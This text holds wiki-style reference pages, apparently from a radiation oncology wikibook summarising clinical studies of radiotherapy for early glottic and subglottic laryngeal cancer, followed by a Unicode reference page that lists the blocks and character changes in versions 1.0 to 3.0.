**22% rate of 2nd primary malignancy -&gt; major cause of death; only 2 died of laryngeal CA

*'''U Florida; 2001''' {{PMID|11600604}} -- &quot;T1-T2N0 squamous cell carcinoma of the glottic larynx treated with radiation therapy.&quot; (Mendenhall WM,  J Clin Oncol. 2001 Oct 15;19(20):4029-36.)
**Retrospective. 519 patients with T1-T2
**5-year local control: T1 93-94%, T2 72-80%; low complications
**Predictors of local control: overall treatment time, T-stage, grade

==Carcinoma in situ==
'''RT for treatment of carcinoma in situ of the glottic larynx:'''
*'''U.Florida; 2002''' (1967-1998) {{PMID|11933181}} -- &quot;Radiotherapy for carcinoma in situ of the true vocal cords.&quot; (Garcia-Serra A, Head Neck. 2002 Apr;24(4):390-4.)
**30 pts; 2/3rd of referred pts had recurrence after at least one stripping procedure.
**5-yr LC, LC with preservation, ultimate LC (including salvage surgery): 88%, 88%, 100%
**10% treated pts had local failure with Invasive squamous cell carcinoma (14 mo, 34 mo and 48 months later)
**Conclusion: &quot;RT to approximately 60 Gy at 2.25 Gy per fraction using small (5 x 5 cm) fields produces excellent results with CIS of the TVC.&quot;


*'''U.Florida; 1993''' (1964-1990) {{PMID|8407413}} -- &quot;Carcinoma in situ of the glottic larynx: the role of radiotherapy.&quot; (Fein DA, Int J Radiat Oncol Biol Phys. 1993 Sep 30;27(2):379-84.)
**19 pts; minimum of 2 yrs f/u. Previous procedures: biopsy only in 4, 11 patient with 1 stripping procedure, 4 pts with 2-5 strippings. RT doses 5625 cGy - 6300 cGy (median: 5625 cGy).
**5-yr LC, ultimate LC, and LC w/ voice preservation: 93%, 100%, 93%. 
**Literature review: local control rates after primary treatment with RT, laser resection, and vocal cord stripping were 84%, 68%, and 66%.
**Conclusion: &quot;Primary treatment with radiotherapy should be strongly considered for patients with carcinoma in situ of the true-vocal cord who have a recurrence after vocal cord stripping or who cannot have close follow-up after treatment.&quot;

==Fractionation==
===Randomized===
*'''Osaka''' (Japan)(1993-2001) -- RT 2 Gy/fx (60-66 Gy) vs. RT 2.25 Gy/fx (56.25-63 Gy)
**Randomized. 180 patients with glottic T1N0. Arm 1) RT 60/30 (small tumors) or 66/33 (large tumors) @ 2 Gy/fx over ~46 days vs. Arm 2) RT 56.25/25 (small tumors) or 63/28 (large tumors) @ 2.25 Gy/fx over ~39 days. Parallel opposed fields with individualized wedge-filtered technique, majority 5x5 cm
**'''5-years; 2006''' {{PMID|16169681}} -- &quot;Radiotherapy for early glottic carcinoma (T1N0M0): results of prospective randomized study of radiation fraction size and overall treatment time.&quot; (Yamazaki H, Int J Radiat Oncol Biol Phys. 2006 Jan 1;64(1):77-82. Epub 2005 Sep 19.)
***Outcome: 5-year LC 2 Gy/fx 77% vs. 2.25 Gy/fx 92% (SS); CSS 97% vs. 100% (NS)
***Late Toxicity: no severe late toxicity, no difference in early/minor late toxicity
***Conclusion: Use of 2.25 Gy/fx with shorter overall treatment time showed superior local control compared to conventional 2 Gy/fx, without worse toxicity

*'''RTOG 95-12 / EORTC 22992''' -- 70/35 vs. 79.2/66 @ 1.2 Gy BID
**Randomized. 250 patients. T2a-bN0 vocal cord. Modified AJCC staging: T2a - tumor extends to supraglottic and/or subglottic structures without impaired mobility; T2b - tumor causes impaired mobility. Randomized SFX 70 Gy (2 Gy/fx) vs HFX 79.2 Gy (1.2 Gy BID). Boost after 50 Gy (std fx) or 60 Gy (BID). Primary fields: (minimum) 6x6 cm field, centered over mid-thyroid cartilage. Upper border 0.5-1 cm above thyroid notch, posterior border 1 cm behind thyroid cartilage, inferior border at the bottom of the cricoid cartilage, and 1 cm fall off anteriorly.  Larger field sizes may be needed to obtain 2 cm margins around the primary. No elective nodal irradiation. Boost includes tumor plus 1 cm margin. Boost may reduce posteriorly off the arytenoids if the posterior 1/3 of the cord is not involved by tumor. Bolus (2-5mm) may be used over the anterior larynx for anterior tumors.
**'''2006''' &lt;u&gt;ASTRO Abstract&lt;/u&gt; &quot;A Randomized Trial of Hyperfractionation vs. Standard Fractionation In T2 Squamous Cell Carcinoma of the Vocal Cord&quot; (Trotti A, IJRBOP Volume 66, Issue 3, Supplement 1, 1 November 2006, Page S15)
***5-year outcome: LC HFX 79% vs. SFX 70% (NS); DFS 51% vs. 37% (NS); OS 73% vs. 62% (NS)
***Toxicity: HFX modestly higher acute skin, mucosal, and laryngeal toxicity; high grade late effects uncommon
***Conclusion: Local control modestly higher, but with only 58 failures, don't have sufficient power
**Comment: SFX relatively low

===Retrospective===
*'''New Zealand; 2006''' (1986-1998) {{PMID|16635034}} -- &quot;TN/TN glottic carcinoma: a comparison of two fractionation schedules.&quot; (Short S, Australas Radiol. 2006 Apr;50(2):152-7.)
**Retrospective. 145 patients with T1-T2 glottis. RT 6MeV beams, standard fractionation (SFX) 60-66 Gy in 30-33 fx (2 Gy/fx) over 6-6.5 weeks (1986-1992) vs. accelerated/hypofractionated regimen (AHFX) 52.5-55 Gy in 20 fx (2.75 Gy/fx) over 4 weeks. Median F/U 4.9 years
**5-year OS: 78%, toxicity comparable
**T1N0: loco-regional control AHFX 95% vs. SFX 75% (SS), 5-year laryngectomy-free survival AHFX 95% vs. SFX 75% (SS)
**T2N0: loco-regional control AHFX 81% vs. SFX 80% (NS), 5-year laryngectomy-free survival AHFX 92% vs. SFX 80% (NS)
**Conclusion: Accelerated hypofractionation better for T1, same for T2. Comparable toxicity.

*'''MD Anderson; 2003''' {{PMID|12527044}} -- &quot;Results of radiotherapy for T2N0 glottic carcinoma: does the &quot;2&quot; stand for twice-daily treatment?&quot; (Garden AS, Int J Radiat Oncol Biol Phys. 2003 Feb 1;55(2):322-8.)
**Retrospective. 230 patients with T2, treated 1997-1998. Median f/u 82 months
**RT: 180 patients treated with parallel-opposed fields. 89 patients treated with 2 Gy/fx to 32-75 Gy, 57 patients treated with 2-2.2 Gy to 66-70 Gy, and 81 patients treated with BID fxs to 74-80 Gy
**5-year local control: 72% (91% after salvage); BID fxs 79% vs. QD fxs 67% (p=0.06)
**Predictors of local control: subglottic extension, daily dose &lt;=2 Gy/fx
**Conclusion: BID to 77 Gy better than QD to 70 in 2 Gy/fx in T2N0

*'''Poland; 1999''' {{PMID|9989520}} -- &quot;Clinical radiobiology of glottic T1 squamous cell carcinoma.&quot; (Skladowski K, Int J Radiat Oncol Biol Phys. 1999 Jan 1;43(1):101-6.)
**Retrospective. 235 patients with T1N0 treated by RT alone. RT conventional 5-day schedule, dose 51-70 Gy, dose/fx 1.5-3.0 Gy/fx, on-treatment time 24-79 days. Median f/u 4 years
**Outcome: 5-year LC 84%
**Predictors of control: worse if dose &lt;61 Gy, increase in treatment time 45 to 55 days decreased TCP by 13%. Potential doubling time: 5.5 days. Hemoglobin: drop in 1g/dl resulted in TCP decrease by 6%
**Conclusion: The significant correlation between the total dose, overall treatment time, hemoglobin concentration, and tumor control probability has been found for T1 glottic cancer

*'''Amsterdam; 1998''' (1965-92) {{PMID|9788401}} -- &quot;The impact of treatment time and smoking on local control and complications in T1 glottic cancer.&quot; (van der Voet JC, Int J Radiat Oncol Biol Phys. 1998 Sep 1;42(2):247-55.)
**Retrospective, 383 pts with T1N0 treated with 6 different fractionations. 65 Gy (20 x 3.25 Gy), 62 Gy (20 x 3.1 Gy), 61.6 Gy (22 x 2.8 Gy), 60 Gy (25 x 2.4 Gy), 66 Gy (33 x 2 Gy) and 60 Gy (30 x 2 Gy), all at 5 fx/week. 
**5-yr LRC 89%. Larynx preservation 90% at 10 yrs. Local control decreased with increasing treatment time: 5-year LC 95% for 22-29 days (i.e. 20 fractions) vs 79% for &gt;= 40 days (i.e 28 fractions or more). Larynx preservation by treatment: 20 x 3.25 Gy: 97%; 20 x 3.1 Gy: 96%; 22 x 2.8 Gy: 92%; 25 x 2.4 Gy: 89%; 33 x 2 Gy: 78%; and 30 x 2 Gy: 80%.
**Complications: all grades, 15%, did not vary by treatment factors but did vary by smoking, neck diameter, and tumor extension. 
**Conclusion: overall treatment time is a significant factor for local control

*'''UCSF; 1997''' (1956-1995) {{PMID|9300746}} -- &quot;Influence of fraction size, total dose, and overall time on local control of T1-T2 glottic carcinoma.&quot; (Le QT, Int J Radiat Oncol Biol Phys. 1997 Aug 1;39(1):115-26.)
**Retrospective. 398 patients with T1-T2 glottic cancer, daily RT. Tumor dose 46.6 - 77.6 Gy (median 63 Gy). Median F/U 9.7 years
**Outcome: 5-year LC T1 85%, T2 70%. 
**T1 subset: No impact of size/schedule. Anterior commisure involvement 80% vs. none 88%. If treated in 1981-1995, 91%
**T2 subset: Treatment time &lt;=43 days 100% vs. &gt;43 days 84%; Fraction size &lt;1.8 Gy 44% vs. &gt;=2.25 Gy 100%; Total dose &lt;=65 Gy 60% vs. &gt;65 Gy 78%; normal cord mobility 79% vs. impaired cord mobility 45%; subglottic extension 58% vs. no subglottic extension 77%
**Toxicity: severe 1.8%
**Conclusion: Risk factors evaluated for T1 and T2 glottic cancers

*'''Robert Wood Johnson; 1988''' {{PMID|3343152}} -- &quot;The effect of fraction size on control of early glottic cancer.&quot; (Schwaibold F, Int J Radiat Oncol Biol Phys. 1988 Mar;14(3):451-4.) 
**Retrospective. 58 pts with Stage I tumors. Of 28 pts treated with 180 cGy fractions (median dose 66.6 Gy, range 63-70.2 Gy), 25% LR in 3 yrs, vs no failures in pts treated with fraction size of 200 cGy or more (median dose 66 Gy).
**Conclusion: suggests fraction size of 200 cGy or higher is a significant factor in the control of glottic cancer

==Field Size==
*'''Osaka''' (Japan)(1982-1992) -- RT 5x5 cm vs. RT 6x6 cm
**Randomized. 273 patients with T1N0 glottic cancer, treated with RT 4 MV bilateral portals. Arm 1) field size 5x5 cm vs. Arm 2) field size 6x6 cm. Dose 60/30
**'''5-years; 1996''' {{PMID|8721266}} -- &quot;Radiation therapy for early glottic carcinoma (T1N0M0). The final results of prospective randomized study concerning radiation field.&quot; (Chatani M, Strahlenther Onkol. 1996 Mar;172(3):169-72.)
***Outcome: 5-year RFS 5x5 88% vs 6x6 88% (NS)
***Toxicity: acute toxicity same (NS); late toxicity 5x5 17% vs. 6x6 23% (SS)
***Conclusion: Small field (5x5 cm) is recommended


==Specific Situations==
'''Anterior commissure extension'''
*'''2004 Lausanne''' {{PMID|14762660}} -- ''Decreased local control following radiation therapy alone in early-stage glottic carcinoma with anterior commissure extension.'' (Zouhair A,  Strahlenther Onkol. 2004 Feb;180(2):84-90.)
**Retrospective. 122 patients with T1-T2N0 treated 1983-2000; median f/u 85 months 
**RT: 3D-CRT in 40%, median dose 70 Gy in 2Gy/fx over 46 days
**5-year OS: 80%, DFS 70%; median time to recurrence 13 months. Only 6 died of laryngeal CA
**Poor predictors of local control: anterior commissure extension, arytenoid protection, male gender


'''Subglottic extension'''
*'''1997 Louisiana State''' {{PMID|9192435}} -- ''Glottic cancer with subglottic extension.'' (Ampil FL, Radiat Med. 1997 Mar-Apr;15(2):103-7.)
**Retrospective. 27 patients over 13 years. Surgery + RT (60%), RT alone (40%)
**Locoregional failure: 18% in surgery + RT, 40% in RT alone (NS)
**2-year OS: 53% surgery + RT, 42% RT alone (NS)
**Recommend: surgery + RT


'''Quality-of-life'''
*{{PMID|15936548}} -- '''A screening questionnaire for voice problems after treatment of early glottic cancer.''' (van Gogh CD, Int J Radiat Oncol Biol Phys. 2005)
**&lt;u&gt;Conclusion:&lt;/u&gt; &quot;The questionnaire proved to be a reliable, valid, and feasible method to detect voice impairment in daily life. The questionnaire is easy to fill in, and interpretation is straightforward. It is useful for both radiation oncologists and otorhinolaryngologists in their follow-up of patients treated for early glottic cancer.&quot;


'''Set-Up'''
*T1 larynx is typically a clinical verification set up, unless OBI available
*Isocenter should line up 1cm below and 1cm posterior to the thyroid notch on visual field inspection


'''Review'''
*'''2004''' {{PMID|15112257}} -- ''Management of T1-T2 glottic carcinomas.'' (Mendenhall WM, Cancer. 2004 May 1;100(9):1786-92.)

{{BookCat}}
Keywords: radiation, radiotherapy</text>
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    <title>Radiation Oncology/Head &amp; Neck/Larynx/Subglottis</title>
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      <text bytes="5167" sha1="2xskiughlxco27zxz5hbjus47j7j63e" xml:space="preserve">'''Subglottic Larynx'''
{{{{BOOKTEMPLATE}}/TOC}}

==Overview==
*Anatomy - 5mm below the free margin of true vocal cords to inferior margin of cricoid cartilage
*Primary lesions are rare (&lt;3%); usually extension from glottis. 50-70% are SCC
*Symptoms - usually asymptomatic, but can present with horseness, dyspnea, stridor
*Disease often advanced at presentation; thorcacic cavity involved in T3-T4(~50%)
*Staging
**T1 - subglottis only
**T2 - extension to vocal cords, with normal or impaired mobility (no fixation)
**T3 - vocal cord fixation
**T4 - invades through cricoid or thyroid cartilage, or other tissues
***T4a - invades cricoid or thyroid cartilage or tissues beyond the larynx
***T4b - invades prevertebral space, carotid, or mediastinum
*Lymphatics - channel unite to form one anterior and two posterolateral pedicles. Anterior drains through cricothyroid membrane into mid- and lower jugular nodes, or via prelaryngeal node into pretracheal and supraclavicular LNS. Posterior drains through cricotracheal membrane into paratracheal nodes
**LN+ in 20-50%
*Treatment - no consensus due to small numbers, but Toronto reports good experience with primary RT
**Stage I-II: RT (include lower neck and mediastinum)
**Stage III-IV: surgery (include larynx, thyroid, parastomal LNs), post-op RT if LN+ (include lower neck and mediastinum)
*RT fields - lateral opposed fields inferiorly 2cm below primary tumor, superiorly encompassing upper jugular nodes. Also an anterior low neck and upper mediastinum T-field


==Radiation==
*'''2006 Ocshner Clinic''' {{PMID|16360814}} -- ''Squamous cell carcinoma of the subglottis.'' (Garas J, Am J Otolaryngol. 2006 Jan-Feb;27(1):1-4.)
**Retrospective. 15 patients over 25 years. 20% T1-2, 80% T3-4
**3-year OS: 25%
**Recommend: 
***Stage I-II: RT (include lower neck and mediastinum)
***Stage III-IV: surgery (include larynx, thyroid, parastomal LNs), post-op RT if LN+ (include lower neck and mediastinum)

*'''Toronto''' 
**'''2002''' {{PMID|11955735}}  -- ''Results of radiotherapy for primary subglottic squamous cell carcinoma.'' (Paisley S, Int J Radiat Oncol Biol Phys. 2002 Apr 1;52(5):1245-50.
***Retrospective. 43/55 (9 palliative, 3 laryngectomy) patients treated (1971-1996) with radical RT and surgical salvage. 54% T1-2, 46% T3-4, clinical N0. Median follow-up 4.2 years
***RT: 50-52 Gy in 20 fxs (2.5 Gy/fx) over 4 weeks. Fields: Lateral oblique fields directed caudally (angled-down wedge pair technique), typically included the primary site alone, although in most cases, the first echelon nodes were encompassed in this volume. The median field size was 96 cm2 (8 cm wide by 12 cm long) and usually extended superiorly to above the hyoid, inferiorly to encompass known disease with a margin, posteriorly to the mid-vertebral body and anteriorly out beyond the skin. No severe late radiation morbidity. Authors note the dose would now be considered low (compared with current higher fractionated therapy for larynx)
***Local RT control 56% (82% including surgical salvage)
***5-year OS: 50%
***Note: As per Garas above, much better RT results than others
**'''1987''' {{PMID|3117073}} -- ''Carcinoma of the subglottis. Results of initial radical radiation.'' (Warde P, Arch Otolaryngol Head Neck Surg. 1987 Nov;113(11):1228-9.)
***Retrospective. 23 patients (1971-1982), 40% T1-T2, 60% T3-T4
***Local RT control 70% (74% including surgical salvage)

*'''2000 Florence''' {{PMID|11195034}} -- ''Primary carcinoma of the subglottic larynx.'' (Santoro R, Eur Arch Otorhinolaryngol. 2000 Dec;257(10):548-51.)
**Retrospective. 49 patients (1969-1993), 35% T1-T2, 65% T3-T4
**5-year OS: surgery 47%, RT alone 0%, surgery + RT 83%  

*'''1999 London''' {{PMID|10229604}} -- ''Submucosal squamous cell carcinoma of the subglottis.'' (Porter GC, Otolaryngol Head Neck Surg. 1999 May;120(5):745-6.)    

*'''1998 Washington U''' {{PMID|9591557}} -- ''Primary subglottic cancer.'' (Dahm JD, Laryngoscope. 1998 May;108(5):741-6.)
**Retrospective. 39 patients with primary subglottic cancer, 1955-1988
**5-year OS: 58% 
**5-year DFS: 46% (RT alone 22%, surgery alone 42%, surgery + RT 100%)  

*'''1993 Sussex''' {{PMID|8347536}} -- ''Primary radiotherapy for subglottic carcinoma.'' (Haylock BJ, Clin Oncol (R Coll Radiol). 1993;5(3):143-6.)
**Retrospective. 23 patients treated 1976-1990 by one therapist. Mean follow-up 5.6 years
**RT: Small parallel opposed wedged fields to the neck. No mediastinal radiotherapy used.
**2-year OS: 69%, failure due to persistent disease (22%) or recurrence (10%)
**Questionnaire to ENTs: surgeons have a pessimistic perception of the value of radiotherapy in this condition 

*'''1982 MSKCC''' {{PMID|7125077}} -- ''Carcinoma of the subglottic larynx.'' (Shaha AR, Am J Surg. 1982 Oct;144(4):456-8.)
**Retrospective. 16 patients over 25 years. 25% T1-T2, 75% T3-T4
**5-year OS: 70%
**Treatment: primary surgery (wide-field laryngectomy, thyroidectomy, node dissection), followed by RT in advanced cases


'''Review'''
* '''2000''' {{PMID|10839493}} -- ''The pathology and management of subglottic cancer.'' (Ferlito A, Eur Arch Otorhinolaryngol. 2000;257(3):168-73.)

{{BookCat}}</text>
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{{Unicode page}}
{{TOC right}}
{{refimprove|date=June 2017}}
This page is about each version specification, and the differences between the versions.

== Unicode 1.0 ==

Unicode 1.0 was the first version of Unicode, released October 1991. It encoded 7,094 new characters.

=== “Blocks” ===
This version of Unicode did not formally group characters in blocks. But in comparison with version 2.0, the following “blocks” were available:
U+0000-U+FFFD
51 Blocks
* '''Basic Latin (formerly called ASCII)''' (U+0000-U+007F), containing 128 characters.
* '''Latin-1 Supplement (formerly called Latin1)'''  (U+0080-U+00FF), containing 128 characters.
* '''Latin Extended-A''' '''(formerly called European Latin)''' (U+0100-U+017F), containing 127 characters.
* '''Latin Extended-B''' '''(formerly called Extended Latin)''' (U+0180-U+01FF), containing 113 characters.
* '''IPA Extensions''' '''(formerly called Standard Phonetic)''' (U+0250-U+02AF), containing 89 characters.
* '''Spacing Modifier Letters''' '''(formerly called Modifier Letters)''' (U+02B0-U+02FF), containing 57 characters.
* '''Combining Diacritical Marks''' '''(formerly called Generic Diacritical Marks)''' (U+0300-U+036F), containing 66 characters.
* '''Greek and Coptic''' '''(formerly called Greek)''' (U+0370-U+03FF), containing 112 characters.
* '''Cyrillic''' (U+0400-U+04FF), containing 192 characters.
* '''Armenian''' (U+0530-U+058F), containing 84 characters.
* '''Hebrew''' (U+0590-U+05FF), containing 52 characters.
* '''Arabic''' (U+0600-U+06FF), containing 169 characters.
* '''Devanagari''' (U+0900-U+097F), containing 104 characters.
* '''Bengali''' (U+0980-U+09FF), containing 89 characters.
* '''Gurmukhi''' (U+0A00-U+0A7F), containing 74 characters.
* '''Gujarati''' (U+0A80-U+0AFF), containing 75 characters.
* '''Oriya''' (U+0B00-U+0B7F), containing 78 characters.
* '''Tamil''' (U+0B80-U+0BFF), containing 61 characters.
* '''Telugu''' (U+0C00-U+0C7F), containing 80 characters.
* '''Kannada''' (U+0C80-U+0CFF), containing 80 characters.
* '''Malayalam''' (U+0D00-U+0D7F), containing 78 characters.
* '''Thai''' (U+0E00-U+0E7F), containing 92 characters.
* '''Lao''' (U+0E80-U+0EFF), containing 70 characters.
* '''Tibetan''' (U+1000-U+105F), containing 71 characters.
* '''Georgian''' (U+10A0-U+10FF), containing 78 characters.
* '''General Punctuation''' (U+2000-U+206F), containing 67 characters.
* '''Superscripts and Subscripts''' (U+2070-U+209F), containing 28 characters.
* '''Currency Symbols''' (U+20A0-U+20CF), containing 11 characters.
* '''Combining Marks for Symbols''' '''(formerly called Diacritical Marks for Symbols)''' (U+20D0-U+20FF), containing 18 characters.
* '''Letterlike Symbols''' (U+2100-U+214F), containing 57 characters.
* '''Number Forms''' (U+2150-U+218F), containing 48 characters.
* '''Arrows''' (U+2190-U+21FF), containing 91 characters.
* '''Mathematical Operators''' (U+2200-U+22FF), containing 242 characters.
* '''Miscellaneous Technical''' (U+2300-U+23FF), containing 43 characters.
* '''Control Pictures''' '''(formerly called Pictures for Control Codes)''' (U+2400-U+243F), containing 37 characters.
* '''Optical Character Recognition''' (U+2440-U+245F), containing 11 characters.
* '''Enclosed Alphanumerics''' (U+2460-U+24FF), containing 139 characters.
* '''Box Drawing''' '''(formerly called Form and Chart Components)''' (U+2500-U+257F), containing 128 characters.
* '''Block Elements''' '''(formerly called Blocks)''' (U+2580-U+259F), containing 22 characters.
* '''Geometric Shapes''' (U+25A0-U+25FF), containing 79 characters.
* '''Miscellaneous Symbols''' '''(formerly called Miscellaneous Dingbats)''' (U+2600-U+26FF), containing 106 characters.
* '''Dingbats''' '''(formerly called Zapf Dingbats)''' (U+2700-U+27BF), containing 160 characters.
* '''CJK Symbols and Punctuation''' (U+3000-U+303F), containing 56 characters.
* '''Hiragana''' (U+3040-U+309F), containing 90 characters.
* '''Katakana''' (U+30A0-U+30FF), containing 90 characters.
* '''Bopomofo''' (U+3100-U+312F), containing 40 characters.
* '''Hangul Compatibility Jamo (formerly called Hangul Elements)''' (U+3130-U+318F), containing 94 characters.
* '''Kanbun (formerly called CJK Miscellaneous)''' (U+3190-U+31FF), containing 16 characters.
* '''Enclosed CJK Letters and Months''' '''(formerly called''' '''Enclosed CJK Letters and Ideographs)''' (U+3200-U+32FF), containing 191 characters.
* '''CJK Compatibility''' '''(formerly called CJK Squared Words for U+3300-U+337F and CJK Squared Abbreviations for U+3380-33FF)''' (U+3300-U+33FF), containing 187 characters.
* '''Hangul''' (U+3400-U+3D2D), containing 2,350 characters.
* '''Private Use Area''' (U+E000-U+FDFF), reserved for 5,632 characters.
* '''CJK Compatibility Forms''' '''(formerly called CNS 11643 Compatibility)''' (U+FE30-U+FE4F), containing 28 characters.
* '''Small Form Variants''' '''(formerly called Small Variants)''' (U+FE50-U+FE6F), containing 26 characters.
* '''Arabic Presentation Forms-B''' '''(formerly called Basic Glyphs for Arabic Language)''' (U+FE70-U+FEFF), containing 140 characters.
* '''Halfwidth and Fullwidth Forms''' '''(formerly called Halfwidth and Fullwidth Variants)''' (U+FF00-U+FFEF), containing 216 characters.
* '''Specials''' '''(formerly called Special)''' (U+FFF0-U+FFFF), containing 1 character.

== Unicode 1.0.1 ==
Unicode 1.0.1 was released June 1992. It encoded 28,292 characters, adding 21,204 new characters and removing 6 characters, for a net increase of 21,198 characters.

=== New blocks ===

* '''CJK Unified Ideographs''' (U+4E00-U+9FFF), containing 20,902 Han Ideographs for Chinese, Japanese and Korean, was added.
* '''CJK Compatibility Ideographs''' (U+F900-U+FAFF), containing 302 Han Ideographs for compatibility with existing character sets, was added.

=== Removed characters ===
* Letters Ka and Kha with Ogonek (total 4 characters) were removed from '''Cyrillic'''. (U+04C5-U+04C6 and U+04C9-U+04CA)
* APL Compose Operator and APL Out (total 2 characters) were removed from '''Miscellaneous Technical'''. (U+2300-U+2301)

=== Rearranged characters ===
* A Japanese Industrial Standard symbol (〄) was moved from '''Enclosed CJK Letters and Months''' (U+32FF) to '''CJK Symbols and Punctuation'''. (U+3004)
*'''Circled Katakana:''' ''The characters well be arranged in modern order: e.g., A, I, U, E, O, KA, KI'' (U+32D0-U+32FE)
*'''Basic Glyphs For Arabic Language:''' ''The character shapes will be arranged in different order: Isolate, Final, Initial and Medial'' (U+FE80-FEFC)

=== Characters with semantics changed ===
*'''Zero Width Non-Joiner''' [ZWNJ] (U+20DC)

*'''Zero Width Joiner''' [ZWJ] (U+20DD)

== Unicode 1.1 ==

Unicode 1.1 was released June 1993. It encoded 34,168 characters, adding 5,969 new characters and removing 93 characters, for a net increase of 5,876 characters. It finalized the long anticipated Han Unification.

=== New blocks ===

* '''Hangul Jamo''' (U+1100-U+11FF), containing 240 ''jamo'' for the Hangul script, was added.
* '''Latin Extended Additional''' (U+1E00-U+1EFF), containing 245 precomposed characters for transliteration and Vietnamese, was added.
* '''Greek Extended''' (U+1F00-U+1FFF), containing 233 precomposed characters for polytonic Greek, was added.
* '''Hangul Supplementary-A''' (U+3D2E-U+44B7), containing 1,930 precomposed syllables for the Hangul script, was added.
* '''Hangul Supplementary-B''' (U+44B8-U+4DFF), containing 2,376 precomposed syllables for the Hangul script, was added.
* '''Alphabetic Presentation Forms''' (U+FB00-U+FB4F), containing 57 precomposed characters and ligatures, was added.
* '''Arabic Presentation Forms-A''' (U+FB50-U+FDFF), containing 593 combinations of Arabic letters, was added.
* '''Combining Half Marks''' (U+FE20-U+FE2F), containing 4 halves of diacritical marks, was added.

=== Extended blocks ===

* The long S (ſ) (total 1 character) was added to '''Latin Extended-A'''. (U+017F)
* The Hungarian Dz, characters for transliteration purposes and precomposed characters with double grave and inverted breve (total 35 characters) were added to '''Latin Extended-B''' (U+01F1-U+01F5 and U+01FA-U+0217). The block was expanded from (U+0180-U+01FF) to (U+0180-U+024F)
* Diacritics for polytonic Greek and double width diacritics (total 6 characters) were added to '''Combining Diacritical Marks'''. (U+0342-U+0345 and U+0360-U+0361)
* Compatibility character now deprecated, Ano Teleia, and other characters (total 5 characters) were added to '''Greek and Coptic''' (U+0374-U+0375, U+037A, U+037E and U+0387).
* Additional characters for non-Slavic languages (total 38 characters) were added to '''Cyrillic'''. (U+04D0-U+04EB, U+04EE-U+04F5 and U+04F8-U+04F9)
* A ligature of Ech and Yiwn (և) (total 1 character) was added to '''Armenian'''. (U+0587)
* One deprecated compatibility character and several characters for biblical texts (total 25 characters) were added to '''Arabic'''. (U+066D and U+06D6-U+06ED)
* A sign Virama (total 1 character) was added to '''Gurmukhi''' (U+0A4D).
* Letters Candra O and E (total 3 characters) were added to '''Gujarati'''. (U+0A8D, U+0A91 and U+0AC9)
* An Ai Length mark (total 1 character) was added to '''Oriya'''. (U+0B56)
* An undertie, a pair of brackets and six formatting characters now deprecated (total 9 characters) were added to '''General Punctuation'''. (U+203F, U+2045-U+2046 and U+206A-U+206F)
* Some additional symbols and the complete set of APL functional symbols (total 79 characters) were added to '''Miscellaneous Technical'''. (U+2300 and U+232D-U+237A)
* A large circle (◯) (total 1 character) was added to '''Geometric Shapes'''. (U+25EF)
* The ideographic telegraph line feed separator symbol (〷) (total 1 character) was added to '''CJK Symbols and Punctuation'''. (U+3037)
* Four Katakana letters not in use since 1945 (total 4 characters) were added to '''Katakana'''. (U+30F7-U+30FA)
* Ideographic telegraph symbols for the twelve months (total 12 characters) were added to '''Enclosed CJK Letters and Months'''. (U+32C0-U+32CB)
* Ideographic telegraph symbols for hours and days and six additional measure units (total 62 characters) were added to '''CJK Compatibility'''. (U+3358-U+3376 and U+33E0-U+33FE)
* Some more space (total 2,304 characters) was added to the '''Private Use Area'''.
* Seven halfwidth geometric shapes (total 7 characters) were added to '''Halfwidth and Fullwidth Forms'''. (U+FFE8-U+FFEE)

=== Removed blocks ===
* '''Tibetan''', containing 71 letters for the Tibetan script, was removed from the Unicode standard.

=== Removed characters ===
* A total of 10 characters were removed from '''Greek and Coptic'''. (U+0370-U+0372, U+03D7-U+03D9, U+03DB, U+03DD, U+03DF, and U+03E1)
* Point Varika (total 1 character) was removed from ''Hebrew''. (U+05F5)
* Phonetic Order Vowel Signs (total 5 characters) were removed from '''Thai'''. (U+0E70-U+0E74)
* Phonetic Order Vowel Signs (total 5 characters) were removed from '''Lao'''. (U+0EF0-U+0EF4)
* An Ideographic Ditto Mark (total 1 character) was removed from '''CJK Symbols and Punctuation''' (U+3004) and merged with CJK Unified Ideograph-4EDD.

=== Rearranged characters ===
* Greek character U+03F3 was changed from Spacing Tonos to Letter Yot.
* A Japanese Industrial Standard symbol (〄) was moved from '''Enclosed CJK Letters and Months''' (U+32FF) to '''CJK Symbols and Punctuation'''. (U+3004)

== Unicode 2.0 ==

Unicode 2.0 was released July 1996. It encoded 38,885 characters, adding 11,373 new characters and removing 6,656 characters, for a net increase of 4,717 characters. This was the first Unicode version to reserve blocks outside of the Basic Multilingual Plane.

=== New blocks ===

* '''Hangul Syllables''' (U+AC00-U+D7AF), containing 11,172 precomposed syllables for the Hangul script, was added.
* '''High Surrogates''' (U+D800-U+DB7F), setting aside 896 codepoints for encoding UTF-16 surrogate pairs, was added.
* '''High Private Use Surrogates''' (U+DB80-U+DBFF), setting aside 128 codepoints for encoding UTF-16 surrogate pairs, was added.
* '''Low Surrogates''' (U+DC00-U+DFFF), setting aside 1,024 codepoints for encoding UTF-16 surrogate pairs, was added.
* '''Supplementary Private Use Area-A''' (U+F0000-U+FFFFF), reserving 65,534 characters for private use, was added.
* '''Supplementary Private Use Area-B''' (U+100000-U+10FFFF), reserving 65,534 characters for private use, was added.

=== Reinstated blocks ===

* '''Tibetan''' (U+0F00-U+0FFF), now containing 168 characters for the Tibetan script including religious signs, was readded.

=== Removed blocks ===

* '''Hangul''', containing 2,350 precomposed syllables for the Hangul script, was removed from the Unicode standard.
* '''Hangul Supplementary-A''', containing 1,930 precomposed syllables for the Hangul script, was removed from the Unicode standard.
* '''Hangul Supplementary-B''', containing 2,376 precomposed syllables for the Hangul script, was removed from the Unicode standard.

=== Extended blocks ===

* Cantillation marks for use in religious texts (total 31 characters) were added to '''Hebrew'''. (U+0591-U+05A1, U+05A3-U+05AF and U+05C4)
* A long S with Dot Above (total 1 character) was added to '''Latin Extended Additional'''. (U+1E9B)
* A Vietnamese Dong sign (total 1 character) was added to '''Currency Symbols'''. (U+20AB)

== Unicode 2.1 ==

Unicode 2.1 was released May 1998. It encoded 38,887 characters, adding only 2 new characters.

=== Extended blocks ===

* A Euro sign (total 1 character) was added to '''Currency Symbols'''. (U+20AC)
* An Object Replacement Character (total 1 character) was added to '''Specials'''. (U+FFFC)

== Unicode 3.0 ==

Unicode 3.0 was released September 1999. It was a big update and encoded 49,194 characters, adding 10,307 new characters.

=== New blocks ===

* '''Syriac''' (U+0700-U+074F), containing 71 characters used for writing in Syriac script, was added.
* '''Thaana''' (U+0780-U+07BF), containing 49 characters used for writing in Thaana script, was added.
* '''Sinhala''' (U+0D80-U+0DFF), containing 80 characters for the Sinhala script, was added.
* '''Myanmar''' (U+1000-U+109F), containing 78 characters for the Burmese script, was added.
